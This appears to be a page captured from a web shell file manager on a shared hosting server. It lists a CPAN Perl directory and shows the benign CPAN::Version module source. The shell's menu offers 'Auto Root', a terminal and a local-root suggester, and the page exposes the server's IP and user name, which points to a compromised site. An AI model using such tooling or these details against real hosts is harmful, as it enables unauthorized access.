Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.216.32
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
CPAN /
Delete
Unzip
Name
Size
Permission
Date
Action
API
[ DIR ]
drwxr-xr-x
2026-08-17 16:10
Exception
[ DIR ]
drwxr-xr-x
2026-08-17 16:10
FTP
[ DIR ]
drwxr-xr-x
2026-08-17 16:10
HTTP
[ DIR ]
drwxr-xr-x
2026-08-17 16:10
Kwalify
[ DIR ]
drwxr-xr-x
2026-08-17 16:10
LWP
[ DIR ]
drwxr-xr-x
2026-08-17 16:10
Plugin
[ DIR ]
drwxr-xr-x
2019-06-17 23:11
Admin.pm
7.61
KB
-r--r--r--
2018-11-27 03:51
Author.pm
6.68
KB
-rw-r--r--
2026-08-05 21:35
Bundle.pm
9.03
KB
-rw-r--r--
2026-08-05 21:35
CacheMgr.pm
7.48
KB
-rw-r--r--
2026-08-05 21:35
Complete.pm
5.85
KB
-rw-r--r--
2026-08-05 21:35
Config.pm
9.87
KB
-rw-r--r--
2018-05-21 22:36
Config.pm.1500328734
10.07
KB
-rw-r--r--
2017-07-03 22:10
Config.pm.1505776020
10.11
KB
-rw-r--r--
2017-07-17 23:58
Config.pm.1506626567
9.9
KB
-rw-r--r--
2017-09-19 01:07
Config.pm.1508361445
9.8
KB
-rw-r--r--
2017-09-28 21:22
Config.pm.1508484266
9.86
KB
-rw-r--r--
2017-10-18 23:17
Config.pm.1508803791
9.86
KB
-rw-r--r--
2017-10-20 09:24
Config.pm.1509069141
9.86
KB
-rw-r--r--
2017-10-24 02:09
Config.pm.1509075030
9.83
KB
-rw-r--r--
2017-10-27 03:52
Config.pm.1509320658
9.83
KB
-rw-r--r--
2017-10-27 05:30
Config.pm.1509605174
9.83
KB
-rw-r--r--
2017-10-30 00:44
Config.pm.1509618004
9.83
KB
-rw-r--r--
2017-11-02 07:46
Config.pm.1510790326
9.84
KB
-rw-r--r--
2017-11-02 11:20
Config.pm.1511208441
9.93
KB
-rw-r--r--
2017-11-16 00:58
Config.pm.1511833575
9.93
KB
-rw-r--r--
2017-11-20 21:07
Config.pm.1512594277
9.98
KB
-rw-r--r--
2017-11-28 02:46
Config.pm.1513124948
9.95
KB
-rw-r--r--
2017-12-06 22:04
Config.pm.1513794700
9.88
KB
-rw-r--r--
2017-12-13 01:29
Config.pm.1515172034
9.86
KB
-rw-r--r--
2017-12-20 19:31
Config.pm.1515698556
9.81
KB
-rw-r--r--
2018-01-05 18:07
Config.pm.1516056180
9.76
KB
-rw-r--r--
2018-01-11 20:22
Config.pm.1516668819
9.72
KB
-rw-r--r--
2018-01-15 23:43
Config.pm.1518479917
9.82
KB
-rw-r--r--
2018-01-23 01:53
Config.pm.1518561930
9.82
KB
-rw-r--r--
2018-02-13 00:58
Config.pm.1521065949
9.82
KB
-rw-r--r--
2018-02-13 23:45
Config.pm.1521074184
9.81
KB
-rw-r--r--
2018-03-14 23:19
Config.pm.1521493458
9.81
KB
-rw-r--r--
2018-03-15 01:36
Config.pm.1521518627
9.28
KB
-rw-r--r--
2018-03-19 22:04
Config.pm.1526935016
9.28
KB
-rw-r--r--
2018-03-20 05:03
Debug.pm
2.05
KB
-rw-r--r--
2026-08-05 21:35
DeferredCode.pm
189
B
-rw-r--r--
2026-08-05 21:35
Distribution.pm
145.09
KB
-rw-r--r--
2026-08-05 21:35
Distroprefs.pm
10.84
KB
-rw-r--r--
2026-08-05 21:35
Distrostatus.pm
972
B
-rw-r--r--
2026-08-05 21:35
FTP.pm
41.19
KB
-rw-r--r--
2026-08-05 21:35
FirstTime.pm
66.98
KB
-rw-r--r--
2026-08-05 21:35
HandleConfig.pm
22.61
KB
-rw-r--r--
2026-08-05 21:35
Index.pm
21.43
KB
-rw-r--r--
2026-08-05 21:35
InfoObj.pm
6.75
KB
-rw-r--r--
2026-08-05 21:35
Kwalify.pm
3.35
KB
-rw-r--r--
2026-08-05 21:35
Mirrors.pm
14.55
KB
-rw-r--r--
2026-08-05 21:35
Module.pm
21.52
KB
-rw-r--r--
2026-08-05 21:35
Nox.pm
928
B
-rw-r--r--
2026-08-05 21:35
Plugin.pm
3.14
KB
-r--r--r--
2018-11-27 03:51
Prompt.pm
567
B
-rw-r--r--
2026-08-05 21:35
Queue.pm
6.31
KB
-rw-r--r--
2026-08-05 21:35
Shell.pm
68.45
KB
-rw-r--r--
2026-08-05 21:35
Tarzip.pm
15.69
KB
-rw-r--r--
2026-08-05 21:35
URL.pm
588
B
-rw-r--r--
2026-08-05 21:35
Version.pm
4.21
KB
-rw-r--r--
2026-08-05 21:35
Save
Rename
package CPAN::Version; use strict; use vars qw($VERSION); $VERSION = "5.5001"; # CPAN::Version::vcmp courtesy Jost Krieger sub vcmp { my($self,$l,$r) = @_; local($^W) = 0; CPAN->debug("l[$l] r[$r]") if $CPAN::DEBUG; return 0 if $l eq $r; # short circuit for quicker success for ($l,$r) { s/_//g; } CPAN->debug("l[$l] r[$r]") if $CPAN::DEBUG; for ($l,$r) { next unless tr/.// > 1 || /^v/; s/^v?/v/; 1 while s/\.0+(\d)/.$1/; # remove leading zeroes per group } CPAN->debug("l[$l] r[$r]") if $CPAN::DEBUG; if ($l=~/^v/ <=> $r=~/^v/) { for ($l,$r) { next if /^v/; $_ = $self->float2vv($_); } } CPAN->debug("l[$l] r[$r]") if $CPAN::DEBUG; my $lvstring = "v0"; my $rvstring = "v0"; if ($] >= 5.006 && $l =~ /^v/ && $r =~ /^v/) { $lvstring = $self->vstring($l); $rvstring = $self->vstring($r); CPAN->debug(sprintf "lv[%vd] rv[%vd]", $lvstring, $rvstring) if $CPAN::DEBUG; } return ( ($l ne "undef") <=> ($r ne "undef") || $lvstring cmp $rvstring || $l <=> $r || $l cmp $r ); } sub vgt { my($self,$l,$r) = @_; $self->vcmp($l,$r) > 0; } sub vlt { my($self,$l,$r) = @_; $self->vcmp($l,$r) < 0; } sub vge { my($self,$l,$r) = @_; $self->vcmp($l,$r) >= 0; } sub vle { my($self,$l,$r) = @_; $self->vcmp($l,$r) <= 0; } sub vstring { my($self,$n) = @_; $n =~ s/^v// or die "CPAN::Version::vstring() called with invalid arg [$n]"; pack "U*", split /\./, $n; } # vv => visible vstring sub float2vv { my($self,$n) = @_; my($rev) = int($n); $rev ||= 0; my($mantissa) = $n =~ /\.(\d{1,12})/; # limit to 12 digits to limit # architecture influence $mantissa ||= 0; $mantissa .= "0" while length($mantissa)%3; my $ret = "v" . $rev; while ($mantissa) { $mantissa =~ s/(\d{1,3})// or die "Panic: length>0 but not a digit? mantissa[$mantissa]"; $ret .= ".".int($1); } # warn "n[$n]ret[$ret]"; $ret =~ s/(\.0)+/.0/; # v1.0.0 => v1.0 $ret; } sub readable { my($self,$n) = @_; $n =~ /^([\w\-\+\.]+)/; return $1 if defined $1 && length($1)>0; # if the first user reaches version v43, he will be treated as "+". # We'll have to decide about a new rule here then, depending on what # will be the prevailing versioning behavior then. if ($] < 5.006) { # or whenever v-strings were introduced # we get them wrong anyway, whatever we do, because 5.005 will # have already interpreted 0.2.4 to be "0.24". So even if he # indexer sends us something like "v0.2.4" we compare wrongly. # And if they say v1.2, then the old perl takes it as "v12" if (defined $CPAN::Frontend) { $CPAN::Frontend->mywarn("Suspicious version string seen [$n]\n"); } else { warn("Suspicious version string seen [$n]\n"); } return $n; } my $better = sprintf "v%vd", $n; CPAN->debug("n[$n] better[$better]") if $CPAN::DEBUG; return $better; } 1; __END__ =head1 NAME CPAN::Version - utility functions to compare CPAN versions =head1 SYNOPSIS use CPAN::Version; CPAN::Version->vgt("1.1","1.1.1"); # 1 bc. 1.1 > 1.001001 CPAN::Version->vlt("1.1","1.1"); # 0 bc. 1.1 not < 1.1 CPAN::Version->vcmp("1.1","1.1.1"); # 1 bc. first is larger CPAN::Version->vcmp("1.1.1","1.1"); # -1 bc. first is smaller CPAN::Version->readable(v1.2.3); # "v1.2.3" CPAN::Version->vstring("v1.2.3"); # v1.2.3 CPAN::Version->float2vv(1.002003); # "v1.2.3" =head1 DESCRIPTION This module mediates between some version that perl sees in a package and the version that is published by the CPAN indexer. It's only written as a helper module for both CPAN.pm and CPANPLUS.pm. As it stands it predates version.pm but has the same goal: make version strings visible and comparable. =head1 LICENSE This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut # Local Variables: # mode: cperl # cperl-indent-level: 4 # End: